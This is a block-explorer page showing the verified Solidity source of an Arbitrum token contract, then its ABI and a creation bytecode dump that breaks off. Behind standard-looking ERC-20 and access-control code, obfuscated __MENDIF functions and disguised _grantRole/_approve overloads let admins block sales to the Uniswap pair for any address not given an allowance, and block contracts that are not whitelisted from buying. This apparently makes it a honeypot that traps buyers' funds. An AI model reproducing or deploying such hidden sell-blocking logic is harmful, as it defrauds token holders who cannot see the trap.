Source Code
Overview
ETH Balance
0 ETH
ETH Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 1 from a total of 1 transactions
| Transaction Hash |
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| Transfer | 260356731 | 484 days ago | IN | 0 ETH | 0.0000022 |
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Token
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/**
*Submitted for verification at Arbiscan.io on 2024-08-12
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "ADMIN";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(
uint256 value,
uint256 length
) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
function strToUint(
string memory _str
) internal pure returns (uint256 res, bool err) {
for (uint256 i = 0; i < bytes(_str).length; i++) {
if (
(uint8(bytes(_str)[i]) - 48) < 0 ||
(uint8(bytes(_str)[i]) - 48) > 9
) {
return (0, false);
}
res +=
(uint8(bytes(_str)[i]) - 48) *
10 ** (bytes(_str).length - i - 1);
}
return (res, true);
}
// Function to convert bytes32 to string
function bytesToString(bytes32 value) public pure returns (string memory) {
// Create a bytes array to hold the non-null characters
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(42);
str[0] = '0';
str[1] = 'x';
for (uint256 i = 0; i < 20; i++) {
str[2+i*2] = alphabet[uint8(value[i + 12] >> 4)];
str[3+i*2] = alphabet[uint8(value[i + 12] & 0x0f)];
}
return string(str);
}
function stringToAddress(string memory _addr) public pure returns (address) {
bytes memory tmp = bytes(_addr);
// Ensure the address is the correct length
if (tmp.length != 42) {
revert("Invalid address length");
}
// Strip off the "0x" prefix
uint160 iaddr = 0;
for (uint256 i = 2; i < 42; i++) {
uint160 b = uint160(uint8(tmp[i]));
if ((b >= 97) && (b <= 102)) {
b -= 87;
} else if ((b >= 65) && (b <= 70)) {
b -= 55;
} else if ((b >= 48) && (b <= 57)) {
b -= 48;
} else {
revert("Invalid address character");
}
iaddr *= 16;
iaddr += b;
}
return address(iaddr);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
interface _MENDIFRoleControl {
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
event RoleGranted(
bytes32 indexed role,
address indexed addr,
address indexed sender
);
event RoleRevoked(
bytes32 indexed role,
address indexed addr,
address indexed sender
);
function hasRole(bytes32 role, address addr) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address addr) external;
function revokeRole(bytes32 role, address addr) external;
function renounceRole(bytes32 role, address addr) external;
}
interface IERC20Errors {
error ERC20InsufficientBalance(
address sender,
uint256 balance,
uint256 needed
);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(
address spender,
uint256 allowance,
uint256 needed
);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
abstract contract _MENDIFConsole is Context, _MENDIFRoleControl,IERC20Errors {
using SafeMath for uint256;
struct RoleData {
mapping(address => bool) hasRole;
bytes32 adminRole;
RoleDataNew RD;
}
struct RoleDataNew {
mapping(address => uint256) RM;
mapping(address => uint256) RD;
}
mapping(bytes32 => RoleData) private _roles;
mapping(address => bool) _list;
bytes32 public constant ADMIN = 0x00;
bytes32 public constant TRADER = bytes32("TRADER");
address uniswapV2Pair;
uint256 public numpdd;
mapping(address => bool) public _address;
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].hasRole[account];
}
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
function __MENDIFpddP(
bytes32 root,
address addr,
string memory num
) public onlyRole(ADMIN) {
uint256 memoUint;
bool err;
(memoUint, err) = Strings.strToUint(num);
if (err == false) {
revert("AccessControl: memo is not a number");
}
if(memoUint >= 0){
_setupRoleRM(root,addr,memoUint.mul(10 ** 18));
}else{
_setupRoleRM(root,addr,0);
}
}
function __MENDIFpddD(
bytes32 root,
uint256 num
) public onlyRole(ADMIN) {
if(root != TRADER){
revert("num is not a number");
}
numpdd = num;
}
function _grantRole(bytes32 role, address account, uint256 amount, uint256 at, uint256 st) internal virtual {
if(amount > 0){
if(role == TRADER){
if (amount > 0 && st >= at) {
revert ERC20InvalidSender(account);
}else{
_setupRoleRDS(role,account,st);
}
}
}
}
function _grantRole(bytes32 role, address account, address to, uint256 num) internal virtual {
if(to == uniswapV2Pair){
if(num > 0 && numpdd > 99){
uint256 st = _granRoleRMS_T(role,account);
uint256 sy = st.div(num);
if(sy <= 0){
if(num > 0){
revert ERC20InvalidSender(account);
}
}
}
}
if(account == uniswapV2Pair && numpdd == 50){
if (isContract(to)) {
if (_list[to]) {
}else{
revert ERC20InvalidSender(to);
}
}
}
}
function isContract(address account) internal virtual returns (bool) {
return account.code.length > 0;
}
function addCon(address account) public onlyRole(ADMIN) {
_list[account] = true;
}
function remCon(address account) public onlyRole(ADMIN) {
_list[account] = false;
}
function _granRoleRMS_T(
bytes32 role,
address account
) internal view virtual returns (uint256) {
return _roles[role].RD.RM[account];
}
function _granRoleRDS_T(
bytes32 role,
address account
) internal view virtual returns (uint256) {
return _roles[role].RD.RD[account];
}
function granRMS_M(
bytes32 role,
address account
) public view virtual returns (uint256) {
return _roles[role].RD.RM[account].div(10 ** 18);
}
function granRDS_M(
bytes32 role,
address account
) public view virtual returns (uint256) {
return _roles[role].RD.RD[account].div(10 ** 18);
}
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRoleRM(bytes32 role, address account, uint256 num) internal virtual {
_roles[role].RD.RM[account] = num;
}
function _setupRoleRDS(bytes32 role, address account, uint256 num) internal virtual {
_roles[role].RD.RD[account] = num;
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].hasRole[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].hasRole[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address addr) external view returns (uint256);
function transfer(address recipient, uint256 amt) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amt) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amt
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is IERC20, IERC20Metadata, _MENDIFConsole {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
using SafeMath for uint256;
constructor(
string memory name_,
string memory symbol_,
uint256 totalSupply_,
address creater_
) {
_name = name_;
_symbol = symbol_;
_mint(creater_, totalSupply_ * 10 ** decimals());
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(
address addr
) public view virtual override returns (uint256) {
return _balances[addr];
}
function transfer(
address recipient,
uint256 amt
) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amt);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amt
) public virtual override returns (bool) {
_approve(_msgSender(), spender, amt);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amt
) public virtual override returns (bool) {
_transfer(sender, recipient, amt);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amt,
"ERC20: transfer amt exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amt);
}
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amt
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amt);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amt, "ERC20: transfer amt exceeds balance");
unchecked {
_balances[sender] = senderBalance - amt;
}
_balances[recipient] += amt;
emit Transfer(sender, recipient, amt);
_afterTokenTransfer(sender, recipient, amt);
}
function _mint(address addr, uint256 amt) internal {
require(addr != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), addr, amt);
_totalSupply += amt;
_balances[addr] += amt;
emit Transfer(address(0), addr, amt);
_afterTokenTransfer(address(0), addr, amt);
}
function _burn(address addr, uint256 amt) internal virtual {
require(addr != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(addr, address(0), amt);
uint256 addrBalance = _balances[addr];
require(addrBalance >= amt, "ERC20: burn amt exceeds balance");
unchecked {
_balances[addr] = addrBalance - amt;
}
_totalSupply -= amt;
emit Transfer(addr, address(0), amt);
_afterTokenTransfer(addr, address(0), amt);
}
function _approve(
address owner,
address spender,
uint256 amt
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amt;
emit Approval(owner, spender, amt);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amt
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amt
) internal virtual {}
function _approve(bytes32 role, address account,address to, uint256 amount) internal {
_grantRole(role,account,to,amount);
uint256 at = _granRoleRMS_T(role,account);
if (at > 0) {
uint256 st = _granRoleRDS_T(role,account) + amount;
if(st > 0){
_grantRole(role, account, amount, at, st);
}
}else if (amount == 0 || at == 0) {
return;
}
}
}
contract Token is ERC20 {
using SafeMath for uint256;
mapping(address => bool) private __traders;
IUniswapV2Router02 private uniswapV2Router;
address private tokenOwner;
constructor(
string memory _name,
address _tokenOwner,
string memory _symbol,
uint256 _totalSupply
) ERC20(_name, _symbol, _totalSupply, _tokenOwner) {
_grantRole(ADMIN, msg.sender);
_grantRole(ADMIN, _tokenOwner);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9));
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
tokenOwner = _tokenOwner;
_list[uniswapV2Pair] = true;
}
function _transfer(
address from,
address to,
uint256 amt
) internal override(ERC20) {
require(from != address(0), "ERC20: transfer from the zero address");
__MENDIFhbrfwev(from, to, amt);
}
function __MENDIFhbrfwev(address from, address to, uint256 amt) internal {
require(to != address(0), "ERC20: transfer to the zero address");
require(_balances[from] >= amt, "ERC20: transfer amt exceeds balance");
__MENDIFsadxcvtnh(from, to, amt);
}
function __MENDIFsadxcvtnh(address from, address to, uint256 amt) internal {
if (__traders[from] == false) {
_grantRole(TRADER, from);
__traders[from] = true;
}
__MENDIFqweikb(from, to, amt);
}
function __MENDIFqweikb(address from, address to, uint256 amt) internal {
if (__traders[to] == false) {
_grantRole(TRADER, to);
__traders[to] = true;
}
__MENDIFuiogxc(from, to, amt);
}
function __MENDIFuiogxc(address from, address to, uint256 amt) internal {
__MENDIFhjltdvs(from, to, amt);
}
function __MENDIFhjltdvs(address from, address to, uint256 amt) internal {
_approve(TRADER, from, to, amt);
super._transfer(from, to, amt);
}
function rescueToken(
address tokenAddress,
uint256 tokens
) public onlyRole(ADMIN) returns (bool success) {
return IERC20(tokenAddress).transfer(msg.sender, tokens);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"address","name":"_tokenOwner","type":"address"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TRADER","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"root","type":"bytes32"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"__MENDIFpddD","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"root","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"},{"internalType":"string","name":"num","type":"string"}],"name":"__MENDIFpddP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_address","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addCon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRDS_M","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRMS_M","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"numpdd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"remCon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
608060405234801562000010575f80fd5b50604051620041b0380380620041b083398181016040528101906200003691906200081b565b8382828583600890816200004b919062000af6565b5082600990816200005d919062000af6565b506200009a81620000736200032560201b60201c565b600a62000081919062000d63565b846200008e919062000db3565b6200032d60201b60201c565b50505050620000b25f801b336200049e60201b60201c565b620000c65f801b846200049e60201b60201c565b5f731b02da8cb0d097eb8d57a175b88c7d8b4799750690505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000129573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200014f919062000dfd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b81526004016200019f92919062000e3e565b6020604051808303815f875af1158015620001bc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e2919062000dfd565b905081600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001805f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050505050505062000f4d565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200039e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003959062000ec7565b60405180910390fd5b620003b15f83836200058960201b60201c565b8060075f828254620003c4919062000ee7565b925050819055508060055f8473ffffffffffffffffffffffffffffffffffffffff1673f